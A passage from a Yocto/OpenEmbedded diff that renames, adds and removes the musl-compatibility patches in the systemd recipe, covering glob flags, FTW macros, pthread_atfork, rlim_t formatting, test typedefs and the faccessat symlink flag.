+@@ -12,6 +12,12 @@
+ #include "path-util.h"
+ #include "strv.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ static void closedir_wrapper(void* v) {
+ (void) closedir(v);
+ }
+@@ -19,6 +25,7 @@ static void closedir_wrapper(void* v) {
+ int safe_glob(const char *path, int flags, glob_t *pglob) {
+ int k;
+
++#ifdef GLOB_ALTDIRFUNC
+ /* We want to set GLOB_ALTDIRFUNC ourselves, don't allow it to be set. */
+ assert(!(flags & GLOB_ALTDIRFUNC));
+
+@@ -32,9 +39,14 @@ int safe_glob(const char *path, int flag
+ pglob->gl_lstat = lstat;
+ if (!pglob->gl_stat)
+ pglob->gl_stat = stat;
++#endif
+
+ errno = 0;
++#ifdef GLOB_ALTDIRFUNC
+ k = glob(path, flags | GLOB_ALTDIRFUNC, NULL, pglob);
++#else
++ k = glob(path, flags, NULL, pglob);
++#endif
+ if (k == GLOB_NOMATCH)
+ return -ENOENT;
+ if (k == GLOB_NOSPACE)
+--- a/src/test/test-glob-util.c
++++ b/src/test/test-glob-util.c
+@@ -13,6 +13,12 @@
+ #include "tests.h"
+ #include "tmpfile-util.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ TEST(glob_exists) {
+ char name[] = "/tmp/test-glob_exists.XXXXXX";
+ int fd = -1;
+@@ -40,11 +46,13 @@ TEST(glob_no_dot) {
+ const char *fn;
+
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_closedir = closedir_wrapper,
+ .gl_readdir = (struct dirent *(*)(void *)) readdir_no_dot,
+ .gl_opendir = (void *(*)(const char *)) opendir,
+ .gl_lstat = lstat,
+ .gl_stat = stat,
++#endif
+ };
+
+ int r;
+@@ -52,11 +60,19 @@ TEST(glob_no_dot) {
+ assert_se(mkdtemp(template));
+
+ fn = strjoina(template, "/*");
++#ifdef GLOB_ALTDIRFUNC
+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
++#else
++ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
++#endif
+ assert_se(r == GLOB_NOMATCH);
+
+ fn = strjoina(template, "/.*");
++#ifdef GLOB_ALTDIRFUNC
+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
++#else
++ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
++#endif
+ assert_se(r == GLOB_NOMATCH);
+
+ (void) rm_rf(template, REMOVE_ROOT|REMOVE_PHYSICAL);
+--- a/src/tmpfiles/tmpfiles.c
++++ b/src/tmpfiles/tmpfiles.c
+@@ -67,6 +67,12 @@
+ #include "umask-util.h"
+ #include "user-util.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ /* This reads all files listed in /etc/tmpfiles.d/?*.conf and creates
+ * them in the file system. This is intended to be used to create
+ * properly owned directories beneath /tmp, /var/tmp, /run, which are
+@@ -1961,7 +1967,9 @@ finish:
+
+ static int glob_item(Item *i, action_t action) {
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_opendir = (void *(*)(const char *)) opendir_nomod,
++#endif
+ };
+ int r = 0, k;
+ char **fn;
+@@ -1981,7 +1989,9 @@ static int glob_item(Item *i, action_t a
+
+ static int glob_item_recursively(Item *i, fdaction_t action) {
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_opendir = (void *(*)(const char *)) opendir_nomod,
++#endif
+ };
+ int r = 0, k;
+ char **fn;
diff --git a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch b/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch
deleted file mode 100644
index 34f7f5fb74..0000000000
--- a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch
+++ /dev/null
@@ -1,153 +0,0 @@
-From f8a239b182158ca0a537ba053cb0e6bad9c3a2fb Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 14:56:21 +0800
-Subject: [PATCH 07/24] don't fail if GLOB_BRACE and GLOB_ALTDIRFUNC is not
- defined
-
-If the standard library doesn't provide brace
-expansion users just won't get it.
-
-Dont use GNU GLOB extentions on non-glibc systems
-
-Conditionalize use of GLOB_ALTDIRFUNC
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- src/basic/glob-util.c | 12 ++++++++++++
- src/test/test-glob-util.c | 16 ++++++++++++++++
- src/tmpfiles/tmpfiles.c | 10 ++++++++++
- 3 files changed, 38 insertions(+)
-
-diff --git a/src/basic/glob-util.c b/src/basic/glob-util.c
-index b335af8d97..2cdfc11f16 100644
---- a/src/basic/glob-util.c
-+++ b/src/basic/glob-util.c
-@@ -14,6 +14,12 @@
- #include "path-util.h"
- #include "strv.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- static void closedir_wrapper(void* v) {
- (void) closedir(v);
- }
-@@ -21,6 +27,7 @@ static void closedir_wrapper(void* v) {
- int safe_glob(const char *path, int flags, glob_t *pglob) {
- int k;
-
-+#ifdef GLOB_ALTDIRFUNC
- /* We want to set GLOB_ALTDIRFUNC ourselves, don't allow it to be set. */
- assert(!(flags & GLOB_ALTDIRFUNC));
-
-@@ -34,9 +41,14 @@ int safe_glob(const char *path, int flags, glob_t *pglob) {
- pglob->gl_lstat = lstat;
- if (!pglob->gl_stat)
- pglob->gl_stat = stat;
-+#endif
-
- errno = 0;
-+#ifdef GLOB_ALTDIRFUNC
- k = glob(path, flags | GLOB_ALTDIRFUNC, NULL, pglob);
-+#else
-+ k = glob(path, flags, NULL, pglob);
-+#endif
- if (k == GLOB_NOMATCH)
- return -ENOENT;
- if (k == GLOB_NOSPACE)
-diff --git a/src/test/test-glob-util.c b/src/test/test-glob-util.c
-index b4f41445fe..f0d474ed14 100644
---- a/src/test/test-glob-util.c
-+++ b/src/test/test-glob-util.c
-@@ -13,6 +13,12 @@
- #include "rm-rf.h"
- #include "tmpfile-util.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- static void test_glob_exists(void) {
- char name[] = "/tmp/test-glob_exists.XXXXXX";
- int fd = -1;
-@@ -40,11 +46,13 @@ static void test_glob_no_dot(void) {
- const char *fn;
-
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_closedir = closedir_wrapper,
- .gl_readdir = (struct dirent *(*)(void *)) readdir_no_dot,
- .gl_opendir = (void *(*)(const char *)) opendir,
- .gl_lstat = lstat,
- .gl_stat = stat,
-+#endif
- };
-
- int r;
-@@ -52,11 +60,19 @@ static void test_glob_no_dot(void) {
- assert_se(mkdtemp(template));
-
- fn = strjoina(template, "/*");
-+#ifdef GLOB_ALTDIRFUNC
- r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
-+#else
-+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
-+#endif
- assert_se(r == GLOB_NOMATCH);
-
- fn = strjoina(template, "/.*");
-+#ifdef GLOB_ALTDIRFUNC
- r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
-+#else
-+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
-+#endif
- assert_se(r == GLOB_NOMATCH);
-
- (void) rm_rf(template, REMOVE_ROOT|REMOVE_PHYSICAL);
-diff --git a/src/tmpfiles/tmpfiles.c b/src/tmpfiles/tmpfiles.c
-index 3c30612af1..14bc428085 100644
---- a/src/tmpfiles/tmpfiles.c
-+++ b/src/tmpfiles/tmpfiles.c
-@@ -63,6 +63,12 @@
- #include "umask-util.h"
- #include "user-util.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- /* This reads all files listed in /etc/tmpfiles.d/?*.conf and creates
- * them in the file system. This is intended to be used to create
- * properly owned directories beneath /tmp, /var/tmp, /run, which are
-@@ -1853,7 +1859,9 @@ finish:
-
- static int glob_item(Item *i, action_t action) {
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_opendir = (void *(*)(const char *)) opendir_nomod,
-+#endif
- };
- int r = 0, k;
- char **fn;
-@@ -1873,7 +1881,9 @@ static int glob_item(Item *i, action_t action) {
-
- static int glob_item_recursively(Item *i, fdaction_t action) {
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_opendir = (void *(*)(const char *)) opendir_nomod,
-+#endif
- };
- int r = 0, k;
- char **fn;
diff --git a/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch b/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
index d5f2349f2b..57e18a5808 100644
--- a/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
+++ b/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
@@ -1,7 +1,7 @@
-From 6cd17c753d2c0a90fc791f69bbc694cbc8556a4f Mon Sep 17 00:00:00 2001
+From 7ca9887f84adba065dc2e59b3de55ace2fc72ec0 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 15:00:06 +0800
-Subject: [PATCH 08/24] add missing FTW_ macros for musl
+Subject: [PATCH] add missing FTW_ macros for musl
This is to avoid build failures like below for musl.
@@ -10,15 +10,15 @@ This is to avoid build failures like below for musl.
Upstream-Status: Inappropriate [musl specific]
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
---
src/basic/missing_type.h | 20 ++++++++++++++++++++
- 1 file changed, 20 insertions(+)
+ src/shared/mount-setup.c | 1 +
+ 2 files changed, 21 insertions(+)
-diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index c487e65..23602eb 100644
--- a/src/basic/missing_type.h
+++ b/src/basic/missing_type.h
-@@ -19,3 +19,23 @@ typedef int (*comparison_fn_t)(const void *, const void *);
+@@ -19,3 +19,23 @@ typedef int (*comparison_fn_t)(const voi
#define __COMPAR_FN_T
typedef int (*__compar_fn_t)(const void *, const void *);
#endif
@@ -42,6 +42,23 @@ index c487e65..23602eb 100644
+#ifndef FTW_SKIP_SIBLINGS
+#define FTW_SKIP_SIBLINGS 3
+#endif
---
-2.7.4
-
+--- a/src/shared/mount-setup.c
++++ b/src/shared/mount-setup.c
+@@ -32,6 +32,7 @@
+ #include "strv.h"
+ #include "user-util.h"
+ #include "virt.h"
++#include "missing_type.h"
+
+ typedef enum MountMode {
+ MNT_NONE = 0,
+--- a/src/test/test-recurse-dir.c
++++ b/src/test/test-recurse-dir.c
+@@ -6,6 +6,7 @@
+ #include "recurse-dir.h"
+ #include "strv.h"
+ #include "tests.h"
++#include "missing_type.h"
+
+ static char **list_nftw = NULL;
+
diff --git a/meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch b/meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch
new file mode 100644
index 0000000000..0fc320420e
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch
@@ -0,0 +1,43 @@
+From c7453b716ae308b89cf4b2b231a36ddd38a49752 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:03:47 +0800
+Subject: [PATCH] fix missing of __register_atfork for non-glibc builds
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/process-util.c | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/src/basic/process-util.c b/src/basic/process-util.c
+index 461bbfe9a5..2d06f9f60a 100644
+--- a/src/basic/process-util.c
++++ b/src/basic/process-util.c
+@@ -18,6 +18,9 @@
+ #if HAVE_VALGRIND_VALGRIND_H
+ #include <valgrind/valgrind.h>
+ #endif
++#ifndef __GLIBC__
++#include <pthread.h>
++#endif
+
+ #include "alloc-util.h"
+ #include "architecture.h"
+@@ -1202,11 +1205,15 @@ void reset_cached_pid(void) {
+ cached_pid = CACHED_PID_UNSET;
+ }
+
++#ifdef __GLIBC__
+ /* We use glibc __register_atfork() + __dso_handle directly here, as they are not included in the glibc
+ * headers. __register_atfork() is mostly equivalent to pthread_atfork(), but doesn't require us to link against
+ * libpthread, as it is part of glibc anyway. */
+ extern int __register_atfork(void (*prepare) (void), void (*parent) (void), void (*child) (void), void *dso_handle);
+ extern void* __dso_handle _weak_;
++#else
++#define __register_atfork(prepare,parent,child,dso) pthread_atfork(prepare,parent,child)
++#endif
+
+ pid_t getpid_cached(void) {
+ static bool installed = false;
diff --git a/meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch b/meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch
new file mode 100644
index 0000000000..029f413aa8
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0010-Use-uintmax_t-for-handling-rlim_t.patch
@@ -0,0 +1,98 @@
+From 856010e268a6aca8e5f02502457afe289bd877f1 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:12:41 +0800
+Subject: [PATCH] Use uintmax_t for handling rlim_t
+
+PRIu{32,64} is not right format to represent rlim_t type
+therefore use %ju and typecast the rlim_t variables to
+uintmax_t.
+
+Fixes portablility errors like
+
+execute.c:3446:36: error: format '%lu' expects argument of type 'long unsigned int', but argument 5 has type 'rlim_t {aka long long unsigned int}' [-Werror=format=]
+| fprintf(f, "%s%s: " RLIM_FMT "\n",
+| ^~~~~~~~
+| prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
+| ~~~~~~~~~~~~~~~~~~~~~~
+
+Upstream-Status: Denied [https://github.com/systemd/systemd/pull/7199]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+[Rebased for v241]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/format-util.h | 8 +-------
+ src/basic/rlimit-util.c | 12 ++++++------
+ src/core/execute.c | 4 ++--
+ 3 files changed, 9 insertions(+), 15 deletions(-)
+
+--- a/src/basic/format-util.h
++++ b/src/basic/format-util.h
+@@ -34,13 +34,7 @@ assert_cc(sizeof(gid_t) == sizeof(uint32
+ # error Unknown timex member size
+ #endif
+
+-#if SIZEOF_RLIM_T == 8
+-# define RLIM_FMT "%" PRIu64
+-#elif SIZEOF_RLIM_T == 4
+-# define RLIM_FMT "%" PRIu32
+-#else
+-# error Unknown rlim_t size
+-#endif
++#define RLIM_FMT "%ju"
+
+ #if SIZEOF_DEV_T == 8
+ # define DEV_FMT "%" PRIu64
+--- a/src/basic/rlimit-util.c
++++ b/src/basic/rlimit-util.c
+@@ -44,7 +44,7 @@ int setrlimit_closest(int resource, cons
+ fixed.rlim_max == highest.rlim_max)
+ return 0;
+
+- log_debug("Failed at setting rlimit " RLIM_FMT " for resource RLIMIT_%s. Will attempt setting value " RLIM_FMT " instead.", rlim->rlim_max, rlimit_to_string(resource), fixed.rlim_max);
++ log_debug("Failed at setting rlimit " RLIM_FMT " for resource RLIMIT_%s. Will attempt setting value " RLIM_FMT " instead.", (uintmax_t)rlim->rlim_max, rlimit_to_string(resource), (uintmax_t)fixed.rlim_max);
+
+ return RET_NERRNO(setrlimit(resource, &fixed));
+ }
+@@ -307,13 +307,13 @@ int rlimit_format(const struct rlimit *r
+ if (rl->rlim_cur >= RLIM_INFINITY && rl->rlim_max >= RLIM_INFINITY)
+ r = free_and_strdup(&s, "infinity");
+ else if (rl->rlim_cur >= RLIM_INFINITY)
+- r = asprintf(&s, "infinity:" RLIM_FMT, rl->rlim_max);
++ r = asprintf(&s, "infinity:" RLIM_FMT, (uintmax_t)rl->rlim_max);
+ else if (rl->rlim_max >= RLIM_INFINITY)
+- r = asprintf(&s, RLIM_FMT ":infinity", rl->rlim_cur);
++ r = asprintf(&s, RLIM_FMT ":infinity", (uintmax_t)rl->rlim_cur);
+ else if (rl->rlim_cur == rl->rlim_max)
+- r = asprintf(&s, RLIM_FMT, rl->rlim_cur);
++ r = asprintf(&s, RLIM_FMT, (uintmax_t)rl->rlim_cur);
+ else
+- r = asprintf(&s, RLIM_FMT ":" RLIM_FMT, rl->rlim_cur, rl->rlim_max);
++ r = asprintf(&s, RLIM_FMT ":" RLIM_FMT, (uintmax_t)rl->rlim_cur, (uintmax_t)rl->rlim_max);
+ if (r < 0)
+ return -ENOMEM;
+
+@@ -403,7 +403,7 @@ int rlimit_nofile_safe(void) {
+
+ rl.rlim_cur = FD_SETSIZE;
+ if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
+- return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", rl.rlim_cur);
++ return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", (uintmax_t)rl.rlim_cur);
+
+ return 1;
+ }
+--- a/src/core/execute.c
++++ b/src/core/execute.c
+@@ -5639,9 +5639,9 @@ void exec_context_dump(const ExecContext
+ for (unsigned i = 0; i < RLIM_NLIMITS; i++)
+ if (c->rlimit[i]) {
+ fprintf(f, "%sLimit%s: " RLIM_FMT "\n",
+- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
++ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_max);
+ fprintf(f, "%sLimit%sSoft: " RLIM_FMT "\n",
+- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_cur);
++ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_cur);
+ }
+
+ if (c->ioprio_set) {
diff --git a/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch b/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch
deleted file mode 100644
index 8bacd0289d..0000000000
--- a/meta/recipes-core/systemd/systemd/0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From f1f4b4f9684fed185bfa8b9ed409cdf241657e99 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:03:47 +0800
-Subject: [PATCH 10/24] fix missing of __register_atfork for non-glibc builds
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/basic/process-util.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/src/basic/process-util.c b/src/basic/process-util.c
-index 78ce43b..aec2daf 100644
---- a/src/basic/process-util.c
-+++ b/src/basic/process-util.c
-@@ -22,6 +22,9 @@
- #if HAVE_VALGRIND_VALGRIND_H
- #include <valgrind/valgrind.h>
- #endif
-+#ifndef __GLIBC__
-+#include <pthread.h>
-+#endif
-
- #include "alloc-util.h"
- #include "architecture.h"
-@@ -1160,11 +1163,15 @@ void reset_cached_pid(void) {
- cached_pid = CACHED_PID_UNSET;
- }
-
-+#ifdef __GLIBC__
- /* We use glibc __register_atfork() + __dso_handle directly here, as they are not included in the glibc
- * headers. __register_atfork() is mostly equivalent to pthread_atfork(), but doesn't require us to link against
- * libpthread, as it is part of glibc anyway. */
- extern int __register_atfork(void (*prepare) (void), void (*parent) (void), void (*child) (void), void *dso_handle);
- extern void* __dso_handle _weak_;
-+#else
-+#define __register_atfork(prepare,parent,child,dso) pthread_atfork(prepare,parent,child)
-+#endif
-
- pid_t getpid_cached(void) {
- static bool installed = false;
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch b/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch
deleted file mode 100644
index d6eda9c038..0000000000
--- a/meta/recipes-core/systemd/systemd/0011-Use-uintmax_t-for-handling-rlim_t.patch
+++ /dev/null
@@ -1,97 +0,0 @@
-From e3f847bd0338d27aff3335b42661d8a4b66b965e Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 15:12:41 +0800
-Subject: [PATCH 11/24] Use uintmax_t for handling rlim_t
-
-PRIu{32,64} is not right format to represent rlim_t type
-therefore use %ju and typecast the rlim_t variables to
-uintmax_t.
-
-Fixes portablility errors like
-
-execute.c:3446:36: error: format '%lu' expects argument of type 'long unsigned int', but argument 5 has type 'rlim_t {aka long long unsigned int}' [-Werror=format=]
-| fprintf(f, "%s%s: " RLIM_FMT "\n",
-| ^~~~~~~~
-| prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
-| ~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Denied [https://github.com/systemd/systemd/pull/7199]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[Rebased for v241]
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- src/basic/format-util.h | 8 +-------
- src/basic/rlimit-util.c | 10 +++++-----
- src/core/execute.c | 4 ++--
- 3 files changed, 8 insertions(+), 14 deletions(-)
-
-diff --git a/src/basic/format-util.h b/src/basic/format-util.h
-index dece5d3..dbb87bc 100644
---- a/src/basic/format-util.h
-+++ b/src/basic/format-util.h
-@@ -42,13 +42,7 @@
- # define PRI_TIMEX "li"
- #endif
-
--#if SIZEOF_RLIM_T == 8
--# define RLIM_FMT "%" PRIu64
--#elif SIZEOF_RLIM_T == 4
--# define RLIM_FMT "%" PRIu32
--#else
--# error Unknown rlim_t size
--#endif
-+#define RLIM_FMT "%ju"
-
- #if SIZEOF_DEV_T == 8
- # define DEV_FMT "%" PRIu64
-diff --git a/src/basic/rlimit-util.c b/src/basic/rlimit-util.c
-index 74b3a02..b02c03c 100644
---- a/src/basic/rlimit-util.c
-+++ b/src/basic/rlimit-util.c
-@@ -307,13 +307,13 @@ int rlimit_format(const struct rlimit *rl, char **ret) {
- if (rl->rlim_cur >= RLIM_INFINITY && rl->rlim_max >= RLIM_INFINITY)
- s = strdup("infinity");
- else if (rl->rlim_cur >= RLIM_INFINITY)
-- (void) asprintf(&s, "infinity:" RLIM_FMT, rl->rlim_max);
-+ (void) asprintf(&s, "infinity:" RLIM_FMT, (uintmax_t)rl->rlim_max);
- else if (rl->rlim_max >= RLIM_INFINITY)
-- (void) asprintf(&s, RLIM_FMT ":infinity", rl->rlim_cur);
-+ (void) asprintf(&s, RLIM_FMT ":infinity", (uintmax_t)rl->rlim_cur);
- else if (rl->rlim_cur == rl->rlim_max)
-- (void) asprintf(&s, RLIM_FMT, rl->rlim_cur);
-+ (void) asprintf(&s, RLIM_FMT, (uintmax_t)rl->rlim_cur);
- else
-- (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, rl->rlim_cur, rl->rlim_max);
-+ (void) asprintf(&s, RLIM_FMT ":" RLIM_FMT, (uintmax_t)rl->rlim_cur, (uintmax_t)rl->rlim_max);
-
- if (!s)
- return -ENOMEM;
-@@ -404,7 +404,7 @@ int rlimit_nofile_safe(void) {
-
- rl.rlim_cur = FD_SETSIZE;
- if (setrlimit(RLIMIT_NOFILE, &rl) < 0)
-- return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", rl.rlim_cur);
-+ return log_debug_errno(errno, "Failed to lower RLIMIT_NOFILE's soft limit to " RLIM_FMT ": %m", (uintmax_t)rl.rlim_cur);
-
- return 1;
- }
-diff --git a/src/core/execute.c b/src/core/execute.c
-index a708231..e2b8748 100644
---- a/src/core/execute.c
-+++ b/src/core/execute.c
-@@ -4220,9 +4220,9 @@ void exec_context_dump(const ExecContext *c, FILE* f, const char *prefix) {
- for (i = 0; i < RLIM_NLIMITS; i++)
- if (c->rlimit[i]) {
- fprintf(f, "%sLimit%s: " RLIM_FMT "\n",
-- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_max);
-+ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_max);
- fprintf(f, "%sLimit%sSoft: " RLIM_FMT "\n",
-- prefix, rlimit_to_string(i), c->rlimit[i]->rlim_cur);
-+ prefix, rlimit_to_string(i), (uintmax_t)c->rlimit[i]->rlim_cur);
- }
-
- if (c->ioprio_set) {
---
-2.7.4
-
diff --git a/meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch b/meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
new file mode 100644
index 0000000000..327084bae9
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0011-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch
@@ -0,0 +1,37 @@
+From ad395dda5db9b1ae156be121cfc8a38960de6c55 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Wed, 28 Feb 2018 21:25:22 -0800
+Subject: [PATCH] test-sizeof.c: Disable tests for missing typedefs in musl
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/test/test-sizeof.c | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+--- a/src/test/test-sizeof.c
++++ b/src/test/test-sizeof.c
+@@ -55,8 +55,10 @@ int main(void) {
+ info(unsigned);
+ info(long unsigned);
+ info(long long unsigned);
++#ifdef __GLIBC__
+ info(__syscall_ulong_t);
+ info(__syscall_slong_t);
++#endif
+ info(intmax_t);
+ info(uintmax_t);
+
+@@ -76,7 +78,9 @@ int main(void) {
+ info(ssize_t);
+ info(time_t);
+ info(usec_t);
++#ifdef __GLIBC__
+ info(__time_t);
++#endif
+ info(pid_t);
+ info(uid_t);
+ info(gid_t);
diff --git a/meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch b/meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
new file mode 100644
index 0000000000..0026a7b72a
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0012-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch
@@ -0,0 +1,93 @@
+From 5d4c6b2f4b88b69b31f967371d2a6136c65dc3fd Mon Sep 17 00:00:00 2001
+From: Andre McCurdy <armccurdy@gmail.com>
+Date: Tue, 10 Oct 2017 14:33:30 -0700
+Subject: [PATCH] don't pass AT_SYMLINK_NOFOLLOW flag to faccessat()
+
+Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right
+thing to do and it's not portable (not supported by musl). See:
+
+ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
+ http://www.openwall.com/lists/musl/2015/02/05/2
+
+Note that laccess() is never passing AT_EACCESS so a lot of the
+discussion in the links above doesn't apply. Note also that
+(currently) all systemd callers of laccess() pass mode as F_OK, so
+only check for existence of a file, not access permissions.
+Therefore, in this case, the only distiction between faccessat()
+with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the behaviour
+for broken symlinks; laccess() on a broken symlink will succeed with
+(flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
+
+The laccess() macros was added to systemd some time ago and it's not
+clear if or why it needs to return success for broken symlinks. Maybe
+just historical and not actually necessary or desired behaviour?
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
+
+---
+ src/basic/fs-util.h | 23 +++++++++++++++++++++--
+ src/shared/base-filesystem.c | 6 +++---
+ 2 files changed, 24 insertions(+), 5 deletions(-)
+
+--- a/src/basic/fs-util.h
++++ b/src/basic/fs-util.h
+@@ -46,8 +46,27 @@ int futimens_opath(int fd, const struct
+ int fd_warn_permissions(const char *path, int fd);
+ int stat_warn_permissions(const char *path, const struct stat *st);
+
++/*
++ Avoid using AT_SYMLINK_NOFOLLOW flag. It doesn't seem like the right thing to
++ do and it's not portable (not supported by musl). See:
++
++ http://lists.landley.net/pipermail/toybox-landley.net/2014-September/003610.html
++ http://www.openwall.com/lists/musl/2015/02/05/2
++
++ Note that laccess() is never passing AT_EACCESS so a lot of the discussion in
++ the links above doesn't apply. Note also that (currently) all systemd callers
++ of laccess() pass mode as F_OK, so only check for existence of a file, not
++ access permissions. Therefore, in this case, the only distiction between
++ faccessat() with (flag == 0) and (flag == AT_SYMLINK_NOFOLLOW) is the
++ behaviour for broken symlinks; laccess() on a broken symlink will succeed
++ with (flag == AT_SYMLINK_NOFOLLOW) and fail (flag == 0).
++
